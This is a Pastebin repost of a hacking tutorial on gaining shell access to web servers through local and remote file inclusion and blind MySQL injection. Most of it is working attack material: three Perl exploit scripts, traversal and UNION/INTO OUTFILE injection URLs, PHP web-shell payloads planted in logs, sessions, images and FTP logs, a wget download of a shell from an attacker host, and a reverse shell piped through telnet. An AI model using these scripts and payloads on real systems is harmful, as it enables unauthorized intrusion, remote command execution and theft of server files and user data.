Advertisement
ZaraByte

Web Vulnerabilities

Oct 2nd, 2011
1,342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. [UPLOADED BY ZARABYTE - http://youtube.com/PhiberOptics]
  2.  
  3. |=--------=[ Web vulnerabilities to gain access to the system ]=---------=|
  4. |=-----------------------------------------------------------------------=|
  5. |=----=[ pepelux[at]enye-sec[dot]org - <http://www.enye-sec.org> ]=------=|
  6. |=-----------------------------------------------------------------------=|
  7. |=----=[ spanish translation available in http://www.enye-sec.org ]=-----=|
  8. |=-----------------------------------------------------------------------=|
  9. |=---------------------------=[ Oct 12th 2008 ]-=------------------------=|
  10.  
  11. --[ Content
  12.  
  13.   1 - Introduction
  14.  
  15.   2 - Local and Remote File Inclusion (LFI/RFI)
  16.    2.1 - Introduction
  17.    2.2 - Executing commands remotely
  18.     2.2.1 - Injecting PHP code into apache logs
  19.     2.2.2 - Injecting PHP code into process table
  20.     2.2.3 - Injecting PHP code into an image
  21.     2.2.4 - Injecting PHP code into session files
  22.     2.2.5 - Injecting PHP code into other files
  23.    2.3 - Obtaining a shell
  24.    2.4 - Remote File Inclusion
  25.  
  26.   3 - Blind SQL Injection
  27.    3.1 - Introduction
  28.    3.2 - Loading local files
  29.    3.3 - Obtaining data without brute force
  30.    3.4 - Executing commands remotely
  31.    3.5 - Obtaining a shell
  32.  
  33.   4 - References
  34.  
  35.  
  36. ---[ 1 - Introduction
  37.  
  38. There are a lot of vulnerabilities that allow us to exploit a website, all of
  39. them are old and documented. We can found LFI, RFI, SQL, XSS, SSI, ICH and
  40. other attacks. For that reason I'm going to center this paper only in attacks
  41. that allow us access to the system and to execute commands remotely.
  42.  
  43. It would be bored to write another paper with all types of vulnerabilities,
  44. telling the same you know, for that I'll try to contribute with any new thing
  45. and remember basic concepts superficially.
  46.  
  47.  
  48.  
  49. ---[ 2 - Local and Remote File Inclusion (LFI/RFI)
  50.  
  51. ----[ 2.1 - Introduction
  52.  
  53. This type of attacks are well known and basically consists in to read system
  54. files using bad programmed PHP pages that make calls to another files by
  55. require, require_once, include or include_once commands. Logically, this calls
  56. must use any variable not initialized. Example:
  57.  
  58.     require($file);
  59.     require("includes/".$file);
  60.     require("languages/".$lang.".php");
  61.     require("themes/".$tema."/config.php");
  62.  
  63. The methods to exploit it are well known and I'm not go to detail its, I'm going
  64. to enumerate it only. For example:
  65.  
  66. Type of call:
  67.     require($file);
  68.  
  69. Exploit:
  70.     http://host/?file=/etc/passwd
  71.  
  72. Type of call:
  73.     require("includes/".$file);
  74.  
  75. Exploit:
  76.     http://host/?file=../../../../../etc/passwd
  77.  
  78. Tpye of calls:
  79.     require("languages/".$lang.".php");
  80.     require("themes/".$theme."/config.php");
  81.  
  82. Exploit:
  83.     http://host/?file=../../../../../etc/passwd%00
  84.  
  85. Type of call:
  86.     require("languages/".$_COOKIE['lang'].".php");
  87.  
  88. Exploit:
  89.     javascript:document.cookie = "lan=../../../../../etc/passwd%00";
  90.  
  91. One script to exploit this type of vulnerabilites, by GET or POST, could be:
  92.  
  93. lfi.pl
  94. ---------------------------------------------
  95. #! /usr/bin/perl
  96.  
  97. # perl script to exploit LFI based in GET and POST requests
  98. # Example: http://site.com/index.php?var=
  99. #   URL: http://site.com/index.php
  100. #   Variable: var
  101. #   Method: POST
  102. #
  103. # by Pepelux (pepelux[at]enye-sec[dot]org)
  104.  
  105. use LWP::UserAgent;
  106. $ua = LWP::UserAgent->new;
  107.  
  108. my ($host, $var, $method) = @ARGV ;
  109.  
  110. unless($ARGV[2]) {
  111.    print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
  112.    print "\tex: perl $0 http://site.com/index.php var GET\n";
  113.    print "\tex: perl $0 http://site.com/index.php var POST\n\n";
  114.    exit 1;
  115. }
  116.  
  117. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
  118. $ua->timeout(10);
  119. $host = "http://".$host if ($host !~ /^http:/);
  120.  
  121. while () {
  122.    print "file to edit: ";
  123.    chomp($file=<STDIN>);
  124.  
  125.    if ($method =~ /GET/) {
  126.       $url = $host."?".$var."=../../../../..".$file."%00";
  127.       $req = HTTP::Request->new(GET => $url);
  128.       $req->header('Accept' => 'text/html');
  129.    }
  130.    else {
  131.       $req = HTTP::Request->new(POST => $host);
  132.       $req->content_type('application/x-www-form-urlencoded');
  133.       $req->content($var."=../../../../".$file."%00");
  134.    }
  135.  
  136.    $res = $ua->request($req);
  137.  
  138.    if ($res->is_success) {
  139.       $result = $res->content;
  140.       print $result;
  141.    }
  142.    else { print "Error\n"; }
  143. }
  144. ---------------------------------------------
  145.  
  146.  
  147. ----[ 2.2 - Executing commands remotely
  148.  
  149. We've seen with this type of vulnerabilities is possible to view any system
  150. file where web user has readable access, but also is possible to execute
  151. system commands. To do that we need to write in any file this php code:
  152. <? passthru($_GET[cmd]) ?>
  153.  
  154. cmd is the name we put to our variable to send it data by GET.
  155.  
  156. Now, we only have to search any place where we can write data. How can we do
  157. that? we have several methods:
  158.  
  159.  
  160. -----[ 2.2.1 - Injecting PHP code into apache logs
  161.  
  162. We know that apache server saves logs of all operations, in access_log and
  163. error_log. We can play with registered datas and try to inject PHP code.
  164.  
  165. For example, to inject in error_log file is enough to do a call to a
  166. nonexistent page but sending the code we need to write in the file:
  167.    http://host/xxxxxxx=<? passthru(\$_GET[cmd]) ?>
  168.  
  169. This will add a line into error_log injecting the code we have written. And
  170. now? we only have to load this file with the same method we did before and send
  171. by cmd variable the command we'd like to execute:
  172.     http://host/?file=../../../var/apache/error_log&cmd=ls /etc
  173.     http://host/?file=../../../var/apache/error_log&cmd=uname -a
  174.  
  175. But, how can we know the apache logs location? It depends of the operating
  176. system and the sysadmin. One option is to search typical directories where
  177. logs are saved:
  178.     /var/log/apache/
  179.     /var/log/httpd/
  180.     /usr/local/apache/logs/
  181.     ......
  182.  
  183. In a shared server we can see this situation:
  184.     /path/host.com/www
  185.                   /logs
  186.                   /data
  187.  
  188. On this case, to know the path we only have to write a nonexisting file, for
  189. example:
  190.     http://host/?file=xxxx
  191.  
  192. We will see in the sscreen any similar to this:
  193.     Warning: require(xxxx) [function.require]: failed to open stream: No such
  194.     file or directory in /var/www/host.com/www/p.php on line 2
  195.  
  196. We can intuit that log files could be in /var/www/host.com/logs
  197.  
  198. Another method to locate logs path could be viewing httpd.conf config file
  199. where we can see any similar to this:
  200.     ErrorLog /var/log/apache/error.log
  201.  
  202. Or in the case of a shared server:
  203.     ErrorLog /home/chs/host.com/home/logs/error_log
  204.  
  205. But as I wrote before, it depends of the operating system, apache version and
  206. the sysadmin, for that is possible logs are not on this location.
  207.  
  208. We also can locate apache logs path searching in the process table:
  209. /proc/{PID}/fd/{FD_ID} (the problem is that fd directory is only accesible by
  210. the user in some systems).
  211.  
  212. To locate the PID of our apache session we can make an HTTP request and next
  213. read /proc/self/stat content. Self is a link to the last PID used in the
  214. system, for that, we can read files watching on /proc/self.
  215.  
  216. Inside /proc/{PID}/fd there are only a few links to analyze, founding access_log
  217. and error_log path. To do this task we are going to use this perl script, that
  218. search all links inside /proc/self/fd/ directory to locate error_log path:
  219.  
  220. proc.pl
  221. ---------------------------------------------
  222. #! /usr/bin/perl
  223.  
  224. # perl script to serach apache logs path
  225. # Example:
  226. #   URL: http://site/index.php
  227. #   Variable: file
  228. #   Method: POST
  229. #
  230. # by Pepelux (pepelux[at]enye-sec[dot]org)
  231.  
  232. use LWP::UserAgent;
  233. $ua = LWP::UserAgent->new;
  234.  
  235. my ($host, $var, $method) = @ARGV ;
  236.  
  237. unless($ARGV[2]) {
  238.    print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
  239.    print "\tex: perl $0 http://site.com/index.php file GET\n";
  240.    print "\tex: perl $0 http://site.com/index.php file POST\n\n";
  241.    exit 1;
  242. }
  243.  
  244. $ua->agent("<? passthru(\$_GET[cmd]) ?>");
  245. $ua->timeout(10);
  246. $host = "http://".$host if ($host !~ /^http:/);
  247.  
  248. if ($method =~ /GET/) {
  249.   $url = $host."?".$var."=../../../../proc/self/stat%00";
  250.   $req = HTTP::Request->new(GET => $url);
  251.   $req->header('Accept' => 'text/html');
  252. }
  253. else {
  254.   $req = HTTP::Request->new(POST => $host);
  255.   $req->content_type('application/x-www-form-urlencoded');
  256.   $req->content($var."=../../../../proc/self/stat%00");
  257. }
  258.  
  259. $res = $ua->request($req);
  260.  
  261. if ($res->is_success) {
  262.   $result = $res->content;
  263.   $result =~ s/<[^>]*>//g;
  264.   $x = index($result, " ", 0);
  265.   $pid = substr($result, 0, $x);
  266.  
  267.   print "Apache PID: ".$pid."\n";
  268. }
  269.  
  270. if ($method =~ /GET/) {
  271.   $url = $host."?".$var."=../../../../proc/self/status%00";
  272.   $req = HTTP::Request->new(GET => $url);
  273.   $req->header('Accept' => 'text/html');
  274. }
  275. else {
  276.   $req = HTTP::Request->new(POST => $host);
  277.   $req->content_type('application/x-www-form-urlencoded');
  278.   $req->content($var."=../../../../proc/self/status%00");
  279. }
  280.  
  281. $res = $ua->request($req);
  282.  
  283. if ($res->is_success) {
  284.   $result = $res->content;
  285.   $result =~ s/<[^>]*>//g;
  286.   $x = index($result, "FDSize",0)+8;
  287.   $fdsize = substr($result, $x, 3);
  288.  
  289.   print "FD_SIZE: ".$fdsize."\n";
  290. }
  291.  
  292. for ($cont = 0; $cont < $fdsize; $cont++) {
  293.   $file = "../../../../proc/".$pid."/fd/".$cont;
  294.   open FILE, $file;
  295.  
  296.   while(<FILE>) {
  297.     if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
  298.       print "FD: ".$cont."\n";
  299.       exit;
  300.     }
  301.   }
  302. }
  303. ---------------------------------------------
  304.  
  305. pepelux:~$ perl proc.pl http://host/index.php page GET
  306.     Apache PID: 4191
  307.     FD_SIZE: 64
  308.     FD: 2
  309.  
  310. If the script locate FD is because /proc/{PID}/fd/{FD_ID} is readable by the
  311. user and we'll have, on this case, a link to error_log on/proc/4191/fd/2.
  312. Modifying the script we could add a call to
  313. http://host/?file=/proc/4191/fd/2&cmd=uname -a (see the first script).
  314.  
  315. We also can make the injection using an URL that doesn't back an error and log
  316. operation will be saved on access_log:
  317.     http://host/index.php?x=<? passthru(\$_GET[cmd]) ?>
  318.  
  319. Is possible that apache doesn't save correctly the injection or it change <? or
  320. ?> with its hex value. On this case we can't do anything by GET and we'd try to
  321. send PHP command by POST, for example using perl.
  322.  
  323. More data saved by apache on access_log and where we can inject are referer or
  324. user-agent.
  325.  
  326. We are going to do some tests using this perl script:
  327.  
  328. cmd.pl
  329. ---------------------------------------------
  330. #! /usr/bin/perl
  331.  
  332. # perl script to inject a CMD in a web LFI vulnerable
  333. # Example:
  334. #   Host: http://host.com
  335. #   type: U
  336. #
  337. # by Pepelux (pepelux[at]enye-sec[dot]org)
  338.  
  339. use LWP::UserAgent;
  340. $ua = LWP::UserAgent->new;
  341.  
  342. my ($host, $type) = @ARGV ;
  343. $code="<? passthru(\$_GET[cmd]) ?>";
  344.  
  345. unless($ARGV[1]) {
  346.   print "Usage: perl $0 <url> [URI|UAG|REF]\n";
  347.   print "\tURI: URI\n";
  348.   print "\tUAG: User-Agent\n";
  349.   print "\tREF: Referer\n\n";
  350.   print "\tex: perl $0 http://host.com URI\n";
  351.   exit 1;
  352. }
  353.  
  354. $host = "http://".$host if ($host !~ /^http:/);
  355.  
  356. if ($type =~ /UAG/) { $ua->agent($code); }
  357. else { $ua->agent("Mozilla/5.0"); }
  358.  
  359. if ($type =~ /URI/) { $$host .= "/" . $code; }
  360.  
  361. $req = HTTP::Request->new(POST => $host);
  362. $req->content_type('application/x-www-form-urlencoded');
  363. $req->content("x=x");
  364.  
  365. if ($type =~ /REF/) { $req->referer($code); }
  366.  
  367. $res = $ua->request($req);
  368. ---------------------------------------------
  369.  
  370. Writing in error_log sending a nonexisting URI:
  371.    pepelux:~$ perl cmd.pl http://host.com/blabla URI
  372.  
  373. In error_log we can see:
  374.    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
  375.    exist: /home/chs/host.com/home/html/blabla
  376.  
  377. Trying with the User-Agent:
  378.    pepelux:~$ perl cmd.pl http://host.com/blabla UAG
  379.  
  380. In error_log we can see the same:
  381.    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
  382.    exist: /home/chs/host.com/home/html/blabla
  383.  
  384. Trying with the Referer:
  385.    pepelux:~$ perl cmd.pl http://host.com/blabla REF
  386.  
  387. In this case we obtain the injection:
  388.    [Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
  389.    exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
  390.    ?>
  391.  
  392. Now we are going to write in access_log that saves more information that
  393. error_log:
  394.    pepelux:~$ perl cmd.pl http://host.com/index.php URI
  395.  
  396. On this case we obtain:
  397.    11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST
  398.    /index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"
  399.    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
  400.    Firefox/3.0.1"
  401.  
  402. Trying with the User-Agent:
  403.    pepelux:~$ perl cmd.pl http://host.com/index.php UAG
  404.  
  405. We obtain the injection:
  406.    11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST
  407.    /index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"
  408.  
  409. Trying with the Referer:
  410.    pepelux:~$ perl cmd.pl http://host.com/index.php REF
  411.  
  412. We also obtain the injection:
  413.    11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST
  414.    /index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
  415.    U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"
  416.  
  417.  
  418. -----[ 2.2.2 - Injecting PHP code into process table
  419.  
  420. I've found a paper (you can see down the reference) that explains how to inject
  421. into /proc/self/environ, that it is an static path we always know. The problem
  422. is that normally this file is only accesible by root and we can't read it.
  423.  
  424. As I wrote before, /proc/self is a link to the last PID used, for that we don't
  425. need to search our apache process PID because we can access directly by the self
  426. link. Attack consists in make an injection on User-Agent sending after a call to
  427. this file: http://host/?file=../../../proc/self/environ&cmd=uname -a
  428.  
  429. We'd have to do this with a little script because we have to inject and send
  430. command inmediately before self link changes to another PID process.
  431.  
  432.  
  433. -----[ 2.2.3 - Injecting PHP code into an image
  434.  
  435. Is very typical to found websites that allow us to upload images (for example,
  436. avatars) that are saved in the server. But what would happend if we upload a
  437. file with the content: <? passthru($_GET[cmd]) ?> but with any image extension?
  438. we colud upload without problems because extension is correct and we'd do a LFI
  439. attack with the same method:
  440.     http://host/?file=path/avatar.gif&cmd=uname -a
  441.  
  442.  
  443. -----[ 2.2.4 - Injecting PHP code into session files
  444.  
  445. Suopose this vulnerable code:
  446.  
  447.     <?php
  448.       $user = $_GET['user'];
  449.       session_register("user");
  450.       session_start();
  451.     ?>
  452.  
  453. As we can see, it creates a session variable using a value obtained by GET
  454. without any verifications.
  455.  
  456. We can send:
  457.     http://host/?user=<? passthru($_GET[cmd]) ?>
  458.  
  459. And viewing the cookies of our navigator we can see that:
  460.     PHPSESSID=b25ca6fea480073cf8eb840b203d343e
  461.  
  462. Analyzing session folder of our system we can see the content:
  463.     pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
  464.              user|s:26:"<? passthru($_GET[cmd]) ?>";
  465.  
  466. As you see, we can inject code on the file that saved our session and we also
  467. can execute commands using this file:
  468.     http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&cmd=uname -a
  469.  
  470. On this case location file is known and we can select it without problems. If
  471. GET is filtered we can send it using POST.
  472.  
  473.  
  474. -----[ 2.2.5 - Injecting PHP code into other files
  475.  
  476. Normally we don't have access because only root can read this files but is
  477. possible to inject our code in other logs, for example in FTP logs:
  478.    pepelux:~$ ftp host.com
  479.    220 ProFTPD 1.3.1 Server (Debian) [host.com]
  480.    Name (pepelux): <? passthru($_GET[cmd]) ?>
  481.    Password:
  482.  
  483. If we watch /var/log/proftpd/proftpd.log we can see our code injected:
  484.    Oct 09 21:50:21 host.com proftpd[11190] host.com
  485.    ([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
  486.    from [11.22.33.44] to host.com:21
  487.  
  488. If the vulnerable server use an old version of webalizer and if it's accessible
  489. by web, we also can use the file usage_DATE.html to execute any code because
  490. this file is generated with the visit statistics using access_log and a bug
  491. that affect old versions of webalizer permits to write HTML code on referer.
  492. For example: Referer: <? passthru($_GET[cmd]) ?>
  493.  
  494. You only have to do a curl of calls with this referer to enter in the most sent
  495. and appears in the usage_DATE.html file.
  496.  
  497. In case that apache server admits the PUT command we also can upload a file
  498. with our code:
  499.     pepelux:~$ telnet host.com 80
  500.     Trying 11.22.33.44...
  501.     Connected to host.com.
  502.     Escape character is '^]'.
  503.     OPTIONS / HTTP/1.1
  504.  
  505.     HTTP/1.1 200 OK
  506.     Date: Sat, 11 Oct 2008 15:06:05 GMT
  507.     Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
  508.     Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
  509.     Content-Length: 0
  510.     Connection: close
  511.     Content-Type: httpd/unix-directory
  512.  
  513.     Connection closed by foreign host.
  514.  
  515. To inject:
  516.     pepelux:~$ telnet host.com 80
  517.     Trying 11.22.33.44...
  518.     Connected to host.com.
  519.     Escape character is '^]'.
  520.     PUT /file.txt HTTP/1.1
  521.     Content-Type: text/plain
  522.     Content-Length:26
  523.  
  524.     <? passthru($_GET[cmd]) ?>
  525.  
  526.  
  527. ----[ 2.3 - Obtaining a shell
  528.  
  529. If we can execute commands remotely we can try to upload a shell to have more
  530. access to the system.
  531.  
  532. One method is creating a PHP based shell. We can download it using wget command:
  533.     http://host/?file=xxxx&cmd=wget http://devil/shell.txt -O shell.php
  534.  
  535. As we can't download a PHP file by HTTP, we can download a TXT file and save it
  536. as PHP.
  537.  
  538. We also can try to do a reverse telnet:
  539.    pepelux:~$ nc -vv -l -p 8888
  540.    pepelux:~$ nc -vv -l -p 8889
  541.  
  542.    http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889
  543.  
  544.  
  545. ----[ 2.4 - Remote File Inclusion
  546.  
  547. If allow_url_include is On in php.ini, we can inject a shell directly. Method
  548. is  the same I've wrote before and it's well known. You only need to load by
  549. GET or POST directly to an URI with the shell (using a non PHP extension):
  550.    http://host/?file=http://devil.com/shell.txt
  551.    http://host/?file=http://devil.com/shell.txt%00
  552.  
  553.  
  554.  
  555. ---[ 3 - Blind SQL Injection
  556.  
  557. ----[ 3.1 - Introduction
  558.  
  559. SQL injection attacks are also well known and very docummented. I don't like to
  560. write more of the same. I'm going to write only about the techinque that allow
  561. to read system files.
  562.  
  563.  
  564. ----[ 3.2 - Loading local files
  565.  
  566. With a web vulnerable to SQL injections (this paper is based on MySQL), if the
  567. user used has permissions to do a load_file, we can read any system file, for
  568. example, /etc/passwd.
  569.  
  570. Example:
  571.  
  572. Table: users(id int, user char(25), pass char(25), mail char(255));
  573.  
  574. Datas:
  575.    +---+---------+----------------------------------+--------------+
  576.    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
  577.    +---+---------+----------------------------------+--------------+
  578.    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
  579.    +---+---------+----------------------------------+--------------+
  580.  
  581. Vulnerable code:
  582.  
  583. <?php
  584.      $iduser = $_GET['id'];
  585.      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
  586.      mysql_select_db("database", $link);
  587.  
  588.      $result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
  589.      $row = mysql_fetch_array($result);
  590.  
  591.      echo "User mail is:" . $row["mail"] . "\n";
  592. ?>
  593.  
  594. We have an unknown table, with unknown fields and a MySQL that doesn't show any
  595. error in the screen.
  596.  
  597. > correct call that show mail of user 2:
  598.     http://host/?id=2
  599.  
  600. > we try to reorder query results by SQL injection:
  601.     http://host/?id=2 ORDER BY 1 ... Ok
  602.     http://host/?id=2 ORDER BY 2 ... Ok
  603.     http://host/?id=2 ORDER BY 3 ... Ok
  604.     http://host/?id=2 ORDER BY 4 ... Ok
  605.     http://host/?id=2 ORDER BY 5 ... Error
  606.  
  607. Why ORDER BY 5 causes an error? if we use ORDER BY 2 we are telling MySQL that
  608. order results by the user, with ORDER BY 3, we tell it that order by pass
  609. column, but as we only have 4 columns on this table, ORDER BY 5 causes an error.
  610.  
  611. Why is it useful? we can know the number of columns that this table has.
  612.  
  613. > modifing the anwser we can see in the screen (we know there are 4 columns):
  614.     http://host/?id=-1 UNION SELECT 1,2,3,4
  615.  
  616. What do it? It we search the user with ID=-1, it response with 0 results and it
  617. will create a new line with the injected data. Why do we use ID=-1? We can see a
  618. practical example:
  619.  
  620. We send:
  621.     http://host/?id=2 UNION SELECT 1,2,3,4
  622.  
  623. We obtain:
  624.     +---+---------+----------------------------------+--------------+
  625.     | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
  626.     +---+---------+----------------------------------+--------------+
  627.     | 1 | 2       | 3                                | 4            |
  628.     +---+---------+----------------------------------+--------------+
  629.  
  630. As this select only the first line, we'll see in the screen:
  631.    User mail is: pepelux@host
  632.  
  633. If we put ID=-1 we'll obtain the injected data:
  634.  
  635. We send:
  636.     http://host/?id=-1 UNION SELECT 1,2,3,4
  637.  
  638. We obtain:
  639.     +---+---------+----------------------------------+--------------+
  640.     | 1 | 2       | 3                                | 4            |
  641.     +---+---------+----------------------------------+--------------+
  642.  
  643. In the screen we will see:
  644.     User mail is: 4
  645.  
  646. > We can use 4th column (that we can see it in the screen) to inject:
  647.     http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
  648.  
  649. It will show in the screen /etc/passwd content in the mail user place (this is
  650. possible only if the mysql user used has permissions to execute load_file).
  651.  
  652. In the case that magic_quotes are On we can use the hex value:
  653.     http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);
  654.  
  655. A difference between to read files using LFI and to read it using SQL injection
  656. is that the user used to read files is different. On the first case we use the
  657. apache user and on the second case we use the MySQL user. This is not very
  658. important by it can be useful to read same files with different permissions.
  659.  
  660.  
  661. ----[ 3.3 - Obtaining data without brute force
  662.  
  663. Supose this situation with the same vulnerable code as I wrote before:
  664.  
  665. Table: users(id int, user char(25), pass char(25), mail char(255));
  666.  
  667. Datas:
  668.     +---+---------+----------------------------------+--------------+
  669.     | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
  670.     +---+---------+----------------------------------+--------------+
  671.     | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
  672.     +---+---------+----------------------------------+--------------+
  673.  
  674. <?php
  675.       $iduser = $_GET['$id'];
  676.       $link = mysql_connect("localhost", "mysql_user", "mysql_password");
  677.       mysql_select_db("database", $link);
  678.  
  679.       $result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
  680.       $row = mysql_fetch_array($result);
  681.  
  682.       echo "User mail is:" . $row["mail"] . "\n";
  683. ?>
  684.  
  685. We can see all data of this table if we do that:
  686.     http://host/?id=1 outfile "/tmp/sql.txt"
  687.     http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');
  688.  
  689. /tmp/sql.txt content is:
  690.     1       admin    23e4ad2360f4ef4268cb44871375a5cd   admin@host
  691.  
  692. As we can see, we have extracted all data of the user with ID=1 without know the
  693. table name or the fields names. With the same method we can extract all user
  694. fields.
  695.  
  696. The problem of this attack is that we only can read data of the table that is
  697. used in the query.
  698.  
  699. Using this technique we can also copy system files in the local directory to
  700. access it by web, for example:
  701.     http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile
  702.     "/var/www/host.com/www/passwd"
  703.  
  704. And we can create PHP files. For example:
  705.     http://host/?id=-1 union select 1,"<?phpinfo()?>",1 into outfile
  706.     "/var/www/host.com/www/phpinfo.php"
  707.  
  708.  
  709. ----[ 3.4 - Executing commands remotely
  710.  
  711. We have seen several methods to inject <? passthru($_GET[cmd]) ?> that give us
  712. the possibility to execute commands remotely. Main problem we found is to
  713. locate a file to write the PHP code. With the apache logs is complicated to
  714. find the location and also is possible that the user doesn't have permissions
  715. to read it.
  716.  
  717. On this case is easy to cause an error that show us in the screen the path of
  718. the website. If we know it we can create a PHP file with the code that allow us
  719. to execute commands:
  720.    http://host/?id=-1 union select 1,"<?passthru($_GET[cmd])?>",1 into outfile
  721.    "/var/www/host.com/www/cmd.php"
  722.  
  723. Next we only have to do:
  724.    http://host/cmd.php?cmd=uname -a
  725.  
  726. If the website is vulnerable to LFI attacks we can write the PHP code in any
  727. place that we have writeable permissions. For example in /tmp:
  728.  
  729. First, we can inject code in a file on /tmp:
  730.    http://host/?id=-1 union select 1,"<? passthru($_GET[cmd]) ?>",1,1 into
  731.    outfile "/tmp/sql.txt"
  732.  
  733. Next we use LFI to execute commands:
  734.    http://host/?file=../../../tmp/sql.txt&cmd=uname -a
  735.  
  736.  
  737. ----[ 3.5 - Obtaining a shell
  738.  
  739. If we have created a file containing our PHP code, the method to obtain a shell
  740. is the same that I described before for LFIs (you can see point 2.3)  :-)
  741.  
  742.  
  743.  
  744. ---[ 4 - References
  745.  
  746. - http://www.g-brain.net/tutorials/local-file-inclusions.txt
  747. - http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
  748. - http://www.securityfocus.com/bid/3473
  749. - http://dev.mysql.com/doc/
  750.  
  751.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement